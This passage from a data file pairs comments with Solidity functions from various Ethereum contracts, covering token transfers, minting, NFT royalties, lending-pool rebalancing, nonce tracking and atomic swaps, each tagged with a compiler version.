addressToOffers[msg.sender].push(offerId);\r\n\r\n emit OfferAdded(\r\n msg.sender,\r\n offerId,\r\n _asset,\r\n _location,\r\n _currency,\r\n _username,\r\n _paymentMethods,\r\n _limitL,\r\n _limitU,\r\n _margin);\r\n\r\n _stake(offerId, msg.sender, _asset);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @notice Get the offer by Id\r\n * @dev normally we'd access the offers array, but it would not return the payment methods\r\n * @param _id Offer id\r\n * @return Offer data (see Offer struct)\r\n */", "function_code": "function offer(uint256 _id) external view returns (\r\n address asset,\r\n string memory currency,\r\n int16 margin,\r\n uint[] memory paymentMethods,\r\n uint limitL,\r\n uint limitH,\r\n address payable owner,\r\n address payable arbitrator,\r\n bool deleted\r\n ) {\r\n Offer memory theOffer = offers[_id];\r\n\r\n // In case arbitrator rejects the seller\r\n address payable offerArbitrator = theOffer.arbitrator;\r\n if(!arbitrationLicenses.isAllowed(theOffer.owner, offerArbitrator)){\r\n offerArbitrator = address(0);\r\n }\r\n\r\n return (\r\n theOffer.asset,\r\n theOffer.currency,\r\n theOffer.margin,\r\n theOffer.paymentMethods,\r\n theOffer.limitL,\r\n theOffer.limitU,\r\n theOffer.owner,\r\n offerArbitrator,\r\n theOffer.deleted\r\n );\r\n }", "version": "0.5.10"} {"comment": "//-------------------------------------------------------------------------------------\n//from StandardToken", "function_code": "function super_transfer(address _to, uint _value) /*public*/ internal returns (bool success) {\r\n\r\n require(!isSendingLocked[msg.sender]);\r\n require(_value <= oneTransferLimit);\r\n require(balances[msg.sender] >= _value);\r\n\r\n if(msg.sender == contrInitiator) {\r\n //no restricton\r\n } else {\r\n require(!isAllTransfersLocked); \r\n require(safeAdd(getLast24hSendingValue(msg.sender), _value) <= oneDayTransferLimit);\r\n }\r\n\r\n\r\n balances[msg.sender] = safeSub(balances[msg.sender], _value);\r\n balances[_to] = safeAdd(balances[_to], _value);\r\n \r\n uint tc=transferInfo[msg.sender].tc;\r\n transferInfo[msg.sender].ti[tc].value = _value;\r\n transferInfo[msg.sender].ti[tc].time = now;\r\n transferInfo[msg.sender].tc = safeAdd(transferInfo[msg.sender].tc, 1);\r\n\r\n emit Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "/*\r\n function getTransferInfoValue(address _from, uint index) public view returns (uint value) {\r\n return transferInfo[_from].ti[index].value;\r\n }\r\n */", "function_code": "function getLast24hSendingValue(address _from) public view returns (uint totVal) {\r\n \r\n totVal = 0; //declared above;\r\n uint tc = transferInfo[_from].tc;\r\n \r\n if(tc > 0) {\r\n for(uint i = tc-1 ; i >= 0 ; i--) {\r\n// if(now - transferInfo[_from].ti[i].time < 10 minutes) {\r\n// if(now - transferInfo[_from].ti[i].time < 1 hours) {\r\n if(now - transferInfo[_from].ti[i].time < 1 days) {\r\n totVal = safeAdd(totVal, transferInfo[_from].ti[i].value );\r\n } else {\r\n break;\r\n }\r\n }\r\n }\r\n }", "version": "0.4.23"} {"comment": "// Issue a new amount of tokens\n// these tokens are deposited into the owner address\n//\n// @param _amount Number of tokens to be issued", "function_code": "function mint(address _to, uint256 amount) public {\r\n\r\n if (msg.sender != owner()) {\r\n require(AssociatedContracts[msg.sender] == true, \"Function is just for contract owner...\");\r\n }\r\n\r\n require(canMint == true, \"Mint Function is Disabled!\");\r\n require(totalSupply() + amount > totalSupply());\r\n require(totalSupply() + amount < (MaxSupply * (10 ** _decimals)));\r\n require(balanceOf(msg.sender) + amount > balanceOf(msg.sender));\r\n \r\n\r\n _mint(_to, amount);\r\n emit Minted(_to, amount);\r\n }", "version": "0.8.7"} {"comment": "// Redeem tokens.\n// These tokens are withdrawn from the owner address\n// if the balance must be enough to cover the redeem\n// or the call will fail.\n// @param _amount Number of tokens to be issued", "function_code": "function redeem(uint amount) public {\r\n\r\n if (msg.sender != owner()) {\r\n require(AssociatedContracts[msg.sender] == true, \"Function is just for contract owner...\");\r\n }\r\n require(totalSupply() >= amount);\r\n require(balanceOf(msg.sender) >= amount);\r\n\r\n _burn(msg.sender, amount);\r\n emit Redeem(amount);\r\n }", "version": "0.8.7"} {"comment": "/*\r\n * @notice Get the SF reward that can be sent to a function caller right now\r\n */", "function_code": "function getCallerReward(uint256 timeOfLastUpdate, uint256 defaultDelayBetweenCalls) public view returns (uint256) {\r\n bool nullRewards = (baseUpdateCallerReward == 0 && maxUpdateCallerReward == 0);\r\n if (either(timeOfLastUpdate >= now, nullRewards)) return 0;\r\n uint256 timeElapsed = (timeOfLastUpdate == 0) ? defaultDelayBetweenCalls : subtract(now, timeOfLastUpdate);\r\n if (either(timeElapsed < defaultDelayBetweenCalls, baseUpdateCallerReward == 0)) {\r\n return 0;\r\n }\r\n uint256 adjustedTime = subtract(timeElapsed, defaultDelayBetweenCalls);\r\n uint256 maxPossibleReward = minimum(maxUpdateCallerReward, treasuryAllowance() / RAY);\r\n if (adjustedTime > maxRewardIncreaseDelay) {\r\n return maxPossibleReward;\r\n }\r\n uint256 calculatedReward = baseUpdateCallerReward;\r\n if (adjustedTime > 0) {\r\n calculatedReward = rmultiply(rpower(perSecondCallerRewardIncrease, adjustedTime, RAY), calculatedReward);\r\n }\r\n if (calculatedReward > maxPossibleReward) {\r\n calculatedReward = maxPossibleReward;\r\n }\r\n return calculatedReward;\r\n }", "version": "0.6.7"} {"comment": "/**\r\n * @notice Send a stability fee reward to an address\r\n * @param proposedFeeReceiver The SF receiver\r\n * @param reward The system coin amount to send\r\n **/", "function_code": "function rewardCaller(address proposedFeeReceiver, uint256 reward) internal {\r\n if (address(treasury) == proposedFeeReceiver) return;\r\n if (either(address(treasury) == address(0), reward == 0)) return;\r\n address finalFeeReceiver = (proposedFeeReceiver == address(0)) ? msg.sender : proposedFeeReceiver;\r\n try treasury.pullFunds(finalFeeReceiver, treasury.systemCoin(), reward) {}\r\n catch(bytes memory revertReason) {\r\n emit FailRewardCaller(revertReason, finalFeeReceiver, reward);\r\n }\r\n }", "version": "0.6.7"} {"comment": "// --- Management ---", "function_code": "function modifyParameters(bytes32 parameter, address addr) external isAuthorized {\r\n require(contractEnabled == 1, \"RateSetter/contract-not-enabled\");\r\n if (parameter == \"orcl\") orcl = OracleLike(addr);\r\n else if (parameter == \"oracleRelayer\") oracleRelayer = OracleRelayerLike(addr);\r\n else if (parameter == \"treasury\") {\r\n require(StabilityFeeTreasuryLike(addr).systemCoin() != address(0), \"RateSetter/treasury-coin-not-set\");\r\n treasury = StabilityFeeTreasuryLike(addr);\r\n }\r\n else if (parameter == \"pidCalculator\") {\r\n pidCalculator = PIDCalculator(addr);\r\n }\r\n else revert(\"RateSetter/modify-unrecognized-param\");\r\n emit ModifyParameters(\r\n parameter,\r\n addr\r\n );\r\n }", "version": "0.6.7"} {"comment": "/**\n * @dev See {IERC165-supportsInterface}.\n */", "function_code": "function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(ICreatorCore).interfaceId || super.supportsInterface(interfaceId)\n || interfaceId == _INTERFACE_ID_ROYALTIES_CREATORCORE || interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981 \n || interfaceId == _INTERFACE_ID_ROYALTIES_FOUNDATION || interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Retrieve a token's URI\n */", "function_code": "function _tokenURI(uint256 tokenId) internal view returns (string memory) {\n if (bytes(_tokenURIs[tokenId]).length != 0) {\n return _tokenURIs[tokenId];\n }\n\n uint256 creatorId;\n if(tokenId > MAX_TOKEN_ID) {\n creatorId = _creatorTokens[tokenId];\n } else {\n creatorId = tokenId / CREATOR_SCALE;\n } \n if (bytes(_creatorURIs[creatorId]).length != 0) {\n return string(abi.encodePacked(_creatorURIs[creatorId], tokenId.toString()));\n }\n \n return string(abi.encodePacked(_creatorURIs[0], tokenId.toString()));\n }", "version": "0.8.4"} {"comment": "/**\n * Helper to get royalty receivers for a token\n */", "function_code": "function _getRoyaltyReceivers(uint256 tokenId) view internal returns (address payable[] storage) {\n uint256 creatorId;\n if(tokenId > MAX_TOKEN_ID) {\n creatorId = _creatorTokens[tokenId];\n } else {\n creatorId = tokenId / CREATOR_SCALE;\n } \n\n if (_tokenRoyaltyReceivers[tokenId].length > 0) {\n return _tokenRoyaltyReceivers[tokenId];\n } else if (_creatorRoyaltyReceivers[creatorId].length > 0) {\n return _creatorRoyaltyReceivers[creatorId];\n }\n return _creatorRoyaltyReceivers[0]; \n }", "version": "0.8.4"} {"comment": "/**\n * Helper to get royalty basis points for a token\n */", "function_code": "function _getRoyaltyBPS(uint256 tokenId) view internal returns (uint256[] storage) {\n uint256 creatorId;\n if(tokenId > MAX_TOKEN_ID) {\n creatorId = _creatorTokens[tokenId];\n } else {\n creatorId = tokenId / CREATOR_SCALE;\n } \n\n if (_tokenRoyaltyBPS[tokenId].length > 0) {\n return _tokenRoyaltyBPS[tokenId];\n } else if (_creatorRoyaltyBPS[creatorId].length > 0) {\n return _creatorRoyaltyBPS[creatorId];\n }\n return _creatorRoyaltyBPS[0]; \n }", "version": "0.8.4"} {"comment": "/**\n * Helper to shorten royalties arrays if it is too long\n */", "function_code": "function _shortenRoyalties(address payable[] storage receivers, uint256[] storage basisPoints, uint256 targetLength) internal {\n require(receivers.length == basisPoints.length, \"CreatorCore: Invalid input\");\n if (targetLength < receivers.length) {\n for (uint i = receivers.length; i > targetLength; i--) {\n receivers.pop();\n basisPoints.pop();\n }\n }\n }", "version": "0.8.4"} {"comment": "/**\n * Helper to update royalites\n */", "function_code": "function _updateRoyalties(address payable[] storage receivers, uint256[] storage basisPoints, address payable[] calldata newReceivers, uint256[] calldata newBPS) internal {\n require(receivers.length == basisPoints.length, \"CreatorCore: Invalid input\");\n require(newReceivers.length == newBPS.length, \"CreatorCore: Invalid input\");\n uint256 totalRoyalties;\n for (uint i = 0; i < newReceivers.length; i++) {\n if (i < receivers.length) {\n receivers[i] = newReceivers[i];\n basisPoints[i] = newBPS[i];\n } else {\n receivers.push(newReceivers[i]);\n basisPoints.push(newBPS[i]);\n }\n totalRoyalties += newBPS[i];\n }\n require(totalRoyalties < 10000, \"CreatorCore: Invalid total royalties\");\n }", "version": "0.8.4"} {"comment": "/**\n * Set royalties for all tokens of an extension\n */", "function_code": "function _setRoyaltiesCreator(uint256 creatorId, address payable[] calldata receivers, uint256[] calldata basisPoints) internal {\n require(receivers.length == basisPoints.length, \"CreatorCore: Invalid input\");\n _shortenRoyalties(_creatorRoyaltyReceivers[creatorId], _creatorRoyaltyBPS[creatorId], receivers.length);\n _updateRoyalties(_creatorRoyaltyReceivers[creatorId], _creatorRoyaltyBPS[creatorId], receivers, basisPoints);\n if (creatorId == 0) {\n emit DefaultRoyaltiesUpdated(receivers, basisPoints);\n } else {\n emit CreatorRoyaltiesUpdated(creatorId, receivers, basisPoints);\n }\n }", "version": "0.8.4"} {"comment": "// Quick swap low gas method for pool swaps", "function_code": "function deposit(uint256 _amount)\r\n external\r\n nonReentrant\r\n {\r\n require(_amount > 0, \"deposit must be greater than 0\");\r\n pool = _calcPoolValueInToken();\r\n\r\n IERC20(token).safeTransferFrom(msg.sender, address(this), _amount);\r\n\r\n // Calculate pool shares\r\n uint256 shares = 0;\r\n if (pool == 0) {\r\n shares = _amount;\r\n pool = _amount;\r\n } else {\r\n shares = (_amount.mul(_totalSupply)).div(pool);\r\n }\r\n pool = _calcPoolValueInToken();\r\n _mint(msg.sender, shares);\r\n }", "version": "0.5.12"} {"comment": "// 1999999614570950845", "function_code": "function _withdrawSomeFulcrum(uint256 _amount) internal {\r\n // Balance of fulcrum tokens, 1 iDAI = 1.00x DAI\r\n uint256 b = balanceFulcrum(); // 1970469086655766652\r\n // Balance of token in fulcrum\r\n uint256 bT = balanceFulcrumInToken(); // 2000000803224344406\r\n require(bT >= _amount, \"insufficient funds\");\r\n // can have unintentional rounding errors\r\n uint256 amount = (b.mul(_amount)).div(bT).add(1);\r\n _withdrawFulcrum(amount);\r\n }", "version": "0.5.12"} {"comment": "// Internal only rebalance for better gas in redeem", "function_code": "function _rebalance(Lender newProvider) internal {\r\n if (_balance() > 0) {\r\n if (newProvider == Lender.DYDX) {\r\n supplyDydx(_balance());\r\n } else if (newProvider == Lender.FULCRUM) {\r\n supplyFulcrum(_balance());\r\n } else if (newProvider == Lender.COMPOUND) {\r\n supplyCompound(_balance());\r\n } else if (newProvider == Lender.AAVE) {\r\n supplyAave(_balance());\r\n }\r\n }\r\n provider = newProvider;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * Set some Moai aside\r\n */", "function_code": "function reserveMoai() public onlyOwner { \r\n uint supply = totalSupply();\r\n require(supply.add(50) <= MAX_MOAI , \"would exceed max supply of Moai\");\r\n uint i;\r\n for (i = 0; i < 50; i++) {\r\n _safeMint(msg.sender, supply + i);\r\n }\r\n }", "version": "0.7.0"} {"comment": "/**\r\n * Mints Moai\r\n */", "function_code": "function mintMoai(uint numberOfTokens) public payable {\r\n require(saleIsActive, \"Sale must be active to mint Moai\");\r\n require(numberOfTokens <= maxMoaiPurchase, \"Can only mint 8 tokens at a time\");\r\n require(totalSupply().add(numberOfTokens) <= MAX_MOAI, \"Purchase would exceed max supply of Moai\");\r\n require(moaiPrice.mul(numberOfTokens) <= msg.value, \"Ether value sent is not correct\");\r\n \r\n for(uint i = 0; i < numberOfTokens; i++) {\r\n uint mintIndex = totalSupply();\r\n if (totalSupply() < MAX_MOAI) {\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n }\r\n }", "version": "0.7.0"} {"comment": "/**\n * @dev See {ICreatorCore-setTokenURI}.\n */", "function_code": "function setTokenURI(uint256[] memory tokenIds, string[] calldata uris) external override adminRequired {\n require(tokenIds.length == uris.length, \"LGND: Invalid input\");\n for (uint i = 0; i < tokenIds.length; i++) {\n _setTokenURI(tokenIds[i], uris[i]); \n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Mint token\n */", "function_code": "function _mintCreator(address to, uint256 creatorId, uint256 templateId, string memory uri) internal virtual returns(uint256 tokenId) {\n require(templateId <= MAX_TEMPLATE_ID, \"LGND: templateId exceeds maximum\");\n\n uint256 mintId = _creatorTokenCount[creatorId][templateId] + 1;\n require(mintId <= MAX_MINT_ID, \"LGND: no remaining mints available\");\n _creatorTokenCount[creatorId][templateId] = mintId;\n\n tokenId = (creatorId * CREATOR_SCALE) + (templateId * TEMPLATE_SCALE) + mintId;\n\n _supply++;\n _mint(_creatorAddresses[creatorId], tokenId);\n if(_creatorAddresses[creatorId] != to) {\n _safeTransfer(_creatorAddresses[creatorId], to, tokenId, \"\");\n } \n\n if (bytes(uri).length > 0) {\n _tokenURIs[tokenId] = uri;\n }\n\n return tokenId;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev See {IERC721CreatorCore-burn}.\n */", "function_code": "function burn(uint256 tokenId) external override {\n require(_isApprovedOrOwner(msg.sender, tokenId), \"LGND: caller is not owner nor approved\");\n address owner = ERC721.ownerOf(tokenId);\n require(bytes(_linkedAccounts[owner]).length != 0, \"LGND: Must link account with setLinkedAccount\");\n\n if(tokenId > MAX_TOKEN_ID) {\n require(_bridgeEnabled, \"LGND: Bridge has not been enabled for this token\"); \n _supply--; \n // Delete token origin extension tracking\n delete _creatorTokens[tokenId]; \n } else {\n require(_creatorBridgeEnabled[tokenId / CREATOR_SCALE], \"LGND: Bridge has not been enabled for this token\");\n }\n\n if (bytes(_tokenURIs[tokenId]).length != 0) {\n delete _tokenURIs[tokenId];\n } \n\n emit ExportedToken(owner, exports++, tokenId, _linkedAccounts[owner]);\n\n _burn(tokenId);\n }", "version": "0.8.4"} {"comment": "// Allows the developer or anyone with the password to claim the bounty and shut down everything except withdrawals in emergencies.", "function_code": "function activate_kill_switch(string password) {\r\n // Only activate the kill switch if the sender is the developer or the password is correct.\r\n if (msg.sender != developer && sha3(password) != password_hash) throw;\r\n // Store the claimed bounty in a temporary variable.\r\n uint256 claimed_bounty = bounty;\r\n // Update bounty prior to sending to prevent recursive call.\r\n bounty = 0;\r\n // Irreversibly activate the kill switch.\r\n kill_switch = true;\r\n // Send the caller their bounty for activating the kill switch.\r\n msg.sender.transfer(claimed_bounty);\r\n }", "version": "0.4.13"} {"comment": "// Automatically withdraws on users' behalves (less a 1% fee on tokens).", "function_code": "function auto_withdraw(address user){\r\n // Only allow automatic withdrawals after users have had a chance to manually withdraw.\r\n if (!bought_tokens || now < time_bought + 1 hours) throw;\r\n // Withdraw the user's funds for them.\r\n withdraw(user, true);\r\n }", "version": "0.4.13"} {"comment": "// Allows developer to add ETH to the buy execution bounty.", "function_code": "function add_to_bounty() payable {\r\n // Only allow the developer to contribute to the buy execution bounty.\r\n if (msg.sender != developer) throw;\r\n // Disallow adding to bounty if kill switch is active.\r\n if (kill_switch) throw;\r\n // Disallow adding to the bounty if contract has already bought the tokens.\r\n if (bought_tokens) throw;\r\n // Update bounty to include received amount.\r\n bounty += msg.value;\r\n }", "version": "0.4.13"} {"comment": "// A helper function for the default function, allowing contracts to interact.", "function_code": "function default_helper() payable {\r\n // Treat near-zero ETH transactions as withdrawal requests.\r\n if (msg.value <= 1 finney) {\r\n // No fee on manual withdrawals.\r\n withdraw(msg.sender, false);\r\n }\r\n // Deposit the user's funds for use in purchasing tokens.\r\n else {\r\n // Disallow deposits if kill switch is active.\r\n if (kill_switch) throw;\r\n // Only allow deposits if the contract hasn't already purchased the tokens.\r\n if (bought_tokens) throw;\r\n // Update records of deposited ETH to include the received amount.\r\n balances[msg.sender] += msg.value;\r\n }\r\n }", "version": "0.4.13"} {"comment": "// @dev create specified number of tokens and transfer to destination", "function_code": "function createTokensInt(uint256 _tokens, address _destination) internal onlyOwner {\r\n uint256 tokens = _tokens * 10**uint256(decimals);\r\n totalSupply_ = totalSupply_.add(tokens);\r\n balances[_destination] = balances[_destination].add(tokens);\r\n emit Transfer(0x0, _destination, tokens);\r\n\r\n totalBurnedOut_ = 0;\r\n \r\n require(totalSupply_ <= HARD_CAP);\r\n }", "version": "0.4.24"} {"comment": "//-- mint\n// Transfer ETH to receive a given amount of tokens in exchange\n// Token amount must be integers, no decimals\n// Current token cost is determined through computeCost, frontend sets the proper ETH amount to send", "function_code": "function mint(uint fullToken) public payable {\r\n uint _token = fullToken.mul(10 ** decimals);\r\n uint _newSupply = _totalSupply.add(_token);\r\n require(_newSupply <= MAX_SUPPLY, \"supply cannot go over 1M\");\r\n\r\n uint _ethCost = computeCost(fullToken);\r\n require(msg.value == _ethCost, \"wrong ETH amount for tokens\");\r\n \r\n owner.transfer(msg.value);\r\n _totalSupply = _newSupply;\r\n balances[msg.sender] = balances[msg.sender].add(_token);\r\n \r\n emit Minted(msg.sender, msg.value, fullToken);\r\n }", "version": "0.5.10"} {"comment": "//func constructor", "function_code": "function GrowToken() public {\r\n owner = 0x757D7FbB9822b5033a6BBD4e17F95714942f921f;\r\n name = \"GROWCHAIN\";\r\n symbol = \"GROW\";\r\n decimals = 8;\r\n totalSupply = 5000000000 * 10 ** uint256(8);\r\n \r\n //init totalSupply to map(db)\r\n balanceOf[owner] = totalSupply;\r\n }", "version": "0.4.18"} {"comment": "// 2 Transfer Other's tokens ,who had approve some token to me ", "function_code": "function transferFrom(address _from,address _to,uint256 _value) public returns (bool success){\r\n //validate the allowance \r\n require(!frozenAccount[_from]&&!frozenAccount[msg.sender]);\r\n require(_value<=allowance[_from][msg.sender]);\r\n //do action :sub allowance and do transfer \r\n allowance[_from][msg.sender] -= _value;\r\n if(_to == address(this)){\r\n _sell(_from,_value);\r\n }else\r\n {\r\n _transfer(_from,_to,_value);\r\n }\r\n \r\n return true;\r\n }", "version": "0.4.18"} {"comment": "//internal transfer function\n// 1 _transfer", "function_code": "function _transfer(address _from,address _to, uint256 _value) internal {\r\n //validate input and other internal limites\r\n require(_to != 0x0);//check to address\r\n require(balanceOf[_from] >= _value);//check from address has enough balance \r\n require(balanceOf[_to] + _value >balanceOf[_to]);//after transfer the balance of _to address is ok ,no overflow\r\n uint256 previousBalances = balanceOf[_from]+balanceOf[_to];//store it for add asset to power the security\r\n //do transfer:sub from _from address,and add to the _to address\r\n balanceOf[_from] -= _value;\r\n balanceOf[_to] += _value;\r\n //after transfer: emit transfer event,and add asset for security\r\n Transfer(_from,_to,_value);\r\n assert(balanceOf[_from]+balanceOf[_to] == previousBalances);\r\n }", "version": "0.4.18"} {"comment": "// 3 _sell ", "function_code": "function _sell(address _from,uint256 amount) internal returns (uint256 revenue){\r\n require(sellOpen);\r\n require(!frozenAccount[_from]);\r\n require(amount>0);\r\n require(sellPrice>0);\r\n require(_from!=owner);\r\n _transfer(_from,owner,amount);\r\n revenue = amount * sellPrice;\r\n _from.transfer(revenue); // sends ether to the seller: it's important to do this last to prevent recursion attacks\r\n SellToken(_from,sellPrice,amount,revenue);\r\n return revenue; // ends function and returns\r\n }", "version": "0.4.18"} {"comment": "/********************************** Mutated Functions **********************************/", "function_code": "function mint() external nonReentrant {\r\n PendingMint memory pending = addressToPendingMint[msg.sender];\r\n address _lottery = lottery;\r\n\r\n uint256 _tokenCounter = tokenCounter;\r\n for (uint256 level = pending.mintedLevel + 1; level <= pending.maxLevel; level++) {\r\n tokenToLevel[_tokenCounter] = level;\r\n _safeMint(msg.sender, _tokenCounter);\r\n if (_lottery != address(0)) {\r\n ILottery(_lottery).registerToken(_tokenCounter);\r\n }\r\n _tokenCounter += 1;\r\n }\r\n tokenCounter = _tokenCounter;\r\n pending.mintedLevel = pending.maxLevel;\r\n addressToPendingMint[msg.sender] = pending;\r\n }", "version": "0.7.6"} {"comment": "/* Smart Contract Administation - Owner Only */", "function_code": "function reserve(uint256 count) public onlyOwner {\r\n require(isDevMintEnabled, \"Dev Minting not active\");\r\n require(totalSupply() + count - 1 < MAX_SUPPLY, \"Exceeds max supply\");\r\n \r\n for (uint256 i = 0; i < count; i++) {\r\n _safeMint(_msgSender(), totalSupply());\r\n }\r\n }", "version": "0.8.9"} {"comment": "// ============ Mint & Redeem & Donate ============", "function_code": "function mint(uint256 dodoAmount, address superiorAddress) public {\r\n require(\r\n superiorAddress != address(0) && superiorAddress != msg.sender,\r\n \"vDODOToken: Superior INVALID\"\r\n );\r\n require(dodoAmount > 0, \"vDODOToken: must mint greater than 0\");\r\n\r\n UserInfo storage user = userInfo[msg.sender];\r\n\r\n if (user.superior == address(0)) {\r\n require(\r\n superiorAddress == _DODO_TEAM_ || userInfo[superiorAddress].superior != address(0),\r\n \"vDODOToken: INVALID_SUPERIOR_ADDRESS\"\r\n );\r\n user.superior = superiorAddress;\r\n }\r\n\r\n _updateAlpha();\r\n\r\n IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(\r\n _DODO_TOKEN_,\r\n msg.sender,\r\n address(this),\r\n dodoAmount\r\n );\r\n\r\n uint256 newStakingPower = DecimalMath.divFloor(dodoAmount, alpha);\r\n\r\n _mint(user, newStakingPower);\r\n\r\n emit MintVDODO(msg.sender, superiorAddress, dodoAmount);\r\n }", "version": "0.6.9"} {"comment": "/**\r\n * Constructor mints tokens to corresponding addresses\r\n */", "function_code": "function Token () public {\r\n \r\n address publicSaleReserveAddress = 0x11f104b59d90A00F4bDFF0Bed317c8573AA0a968;\r\n mint(publicSaleReserveAddress, 100000000);\r\n\r\n address hintPlatformReserveAddress = 0xE46C2C7e4A53bdC3D91466b6FB45Ac9Bc996a3Dc;\r\n mint(hintPlatformReserveAddress, 21000000000);\r\n\r\n address advisorsReserveAddress = 0xdc9aea710D5F8169AFEDA4bf6F1d6D64548951AF;\r\n mint(advisorsReserveAddress, 50000000);\r\n \r\n address frozenHintEcosystemReserveAddress = 0xfeC2C0d053E9D6b1A7098F17b45b48102C8890e5;\r\n mint(frozenHintEcosystemReserveAddress, 77600000000);\r\n\r\n address teamReserveAddress = 0xeE162d1CCBb1c14169f26E5b35e3ca44C8bDa4a0;\r\n mint(teamReserveAddress, 50000000);\r\n \r\n address preICOReserveAddress = 0xD2c395e12174630993572bf4Cbb5b9a93384cdb2;\r\n mint(preICOReserveAddress, 100000000);\r\n \r\n address foundationReserveAddress = 0x7A5d4e184f10b63C27ad772D17bd3b7393933142;\r\n mint(foundationReserveAddress, 100000000);\r\n \r\n address hintPrivateOfferingReserve = 0x3f851952ACbEd98B39B913a5c8a2E55b2E28c8F4;\r\n mint(hintPrivateOfferingReserve, 1000000000);\r\n\r\n assert(totalSupply == 100000000000*decimalMultiplier);\r\n }", "version": "0.4.18"} {"comment": "// >>> include all other rewards in eth besides _claimableBasicInETH()", "function_code": "function _claimableInETH() internal override view returns (uint256 _claimable) {\r\n _claimable = super._claimableInETH();\r\n\r\n uint256 _dfd = IERC20(dfd).balanceOf(address(this));\r\n if (_dfd > 0) {\r\n address[] memory path = new address[](2);\r\n path[0] = dfd;\r\n path[1] = weth;\r\n uint256[] memory swap = Uni(dex[2]).getAmountsOut(_dfd, path);\r\n _claimable = _claimable.add(swap[1]);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Atomic Token Swap\n * @param nonce uint256 Unique and should be sequential\n * @param expiry uint256 Expiry in seconds since 1 January 1970\n * @param signerWallet address Wallet of the signer\n * @param signerToken address ERC20 token transferred from the signer\n * @param signerAmount uint256 Amount transferred from the signer\n * @param senderToken address ERC20 token transferred from the sender\n * @param senderAmount uint256 Amount transferred from the sender\n * @param v uint8 \"v\" value of the ECDSA signature\n * @param r bytes32 \"r\" value of the ECDSA signature\n * @param s bytes32 \"s\" value of the ECDSA signature\n */", "function_code": "function swap(\n uint256 nonce,\n uint256 expiry,\n address signerWallet,\n IERC20 signerToken,\n uint256 signerAmount,\n IERC20 senderToken,\n uint256 senderAmount,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external override {\n swapWithRecipient(\n msg.sender,\n nonce,\n expiry,\n signerWallet,\n signerToken,\n signerAmount,\n senderToken,\n senderAmount,\n v,\n r,\n s\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Cancel one or more nonces\n * @dev Cancelled nonces are marked as used\n * @dev Emits a Cancel event\n * @dev Out of gas may occur in arrays of length > 400\n * @param nonces uint256[] List of nonces to cancel\n */", "function_code": "function cancel(uint256[] calldata nonces) external override {\n for (uint256 i = 0; i < nonces.length; i++) {\n uint256 nonce = nonces[i];\n if (_markNonceAsUsed(msg.sender, nonce)) {\n emit Cancel(nonce, msg.sender);\n }\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Returns true if the nonce has been used\n * @param signer address Address of the signer\n * @param nonce uint256 Nonce being checked\n */", "function_code": "function nonceUsed(address signer, uint256 nonce)\n public\n view\n override\n returns (bool)\n {\n uint256 groupKey = nonce / 256;\n uint256 indexInGroup = nonce % 256;\n return (_nonceGroups[signer][groupKey] >> indexInGroup) & 1 == 1;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Marks a nonce as used for the given signer\n * @param signer address Address of the signer for which to mark the nonce as used\n * @param nonce uint256 Nonce to be marked as used\n * @return bool True if the nonce was not marked as used already\n */", "function_code": "function _markNonceAsUsed(address signer, uint256 nonce)\n internal\n returns (bool)\n {\n uint256 groupKey = nonce / 256;\n uint256 indexInGroup = nonce % 256;\n uint256 group = _nonceGroups[signer][groupKey];\n // If it is already used, return false\n if ((group >> indexInGroup) & 1 == 1) {\n return false;\n }\n _nonceGroups[signer][groupKey] = group | (uint256(1) << indexInGroup);\n return true;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Hash order parameters\n * @param nonce uint256\n * @param expiry uint256\n * @param signerWallet address\n * @param signerToken address\n * @param signerAmount uint256\n * @param senderToken address\n * @param senderAmount uint256\n * @return bytes32\n */", "function_code": "function _getOrderHash(\n uint256 nonce,\n uint256 expiry,\n address signerWallet,\n IERC20 signerToken,\n uint256 signerAmount,\n address senderWallet,\n IERC20 senderToken,\n uint256 senderAmount\n ) internal view returns (bytes32) {\n return\n keccak256(\n abi.encode(\n ORDER_TYPEHASH,\n nonce,\n expiry,\n signerWallet,\n signerToken,\n signerAmount,\n signerFee,\n senderWallet,\n senderToken,\n senderAmount\n )\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Recover the signatory from a signature\n * @param hash bytes32\n * @param v uint8\n * @param r bytes32\n * @param s bytes32\n */", "function_code": "function _getSignatory(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal view returns (address) {\n bytes32 digest =\n keccak256(abi.encodePacked(\"\\x19\\x01\", DOMAIN_SEPARATOR, hash));\n address signatory = ecrecover(digest, v, r, s);\n // Ensure the signatory is not null\n require(signatory != address(0), \"INVALID_SIG\");\n return signatory;\n }", "version": "0.6.12"} {"comment": "// Transfer recipient recives amount - fee", "function_code": "function transfer(address recipient, uint256 amount) public override returns (bool) {\r\n if (activeFee && feeException[_msgSender()] == false) {\r\n uint256 marketing = transferFee.mul(amount).div(100000);\r\n uint256 fee = transferFee.mul(amount).div(10000).sub(marketing);\r\n uint amountLessFee = amount.sub(fee).sub(marketing);\r\n _transfer(_msgSender(), recipient, amountLessFee);\r\n _transfer(_msgSender(), feeRecipient, fee);\r\n _transfer(_msgSender(), marketingRecipient, marketing);\r\n } else {\r\n _transfer(_msgSender(), recipient, amount);\r\n }\r\n return true;\r\n }", "version": "0.6.2"} {"comment": "// TransferFrom recipient recives amount, sender's account is debited amount + fee", "function_code": "function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {\r\n if (activeFee && feeException[recipient] == false) {\r\n uint256 fee = transferFee.mul(amount).div(10000);\r\n _transfer(sender, feeRecipient, fee);\r\n }\r\n _transfer(sender, recipient, amount);\r\n _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, \"ERC20: transfer amount exceeds 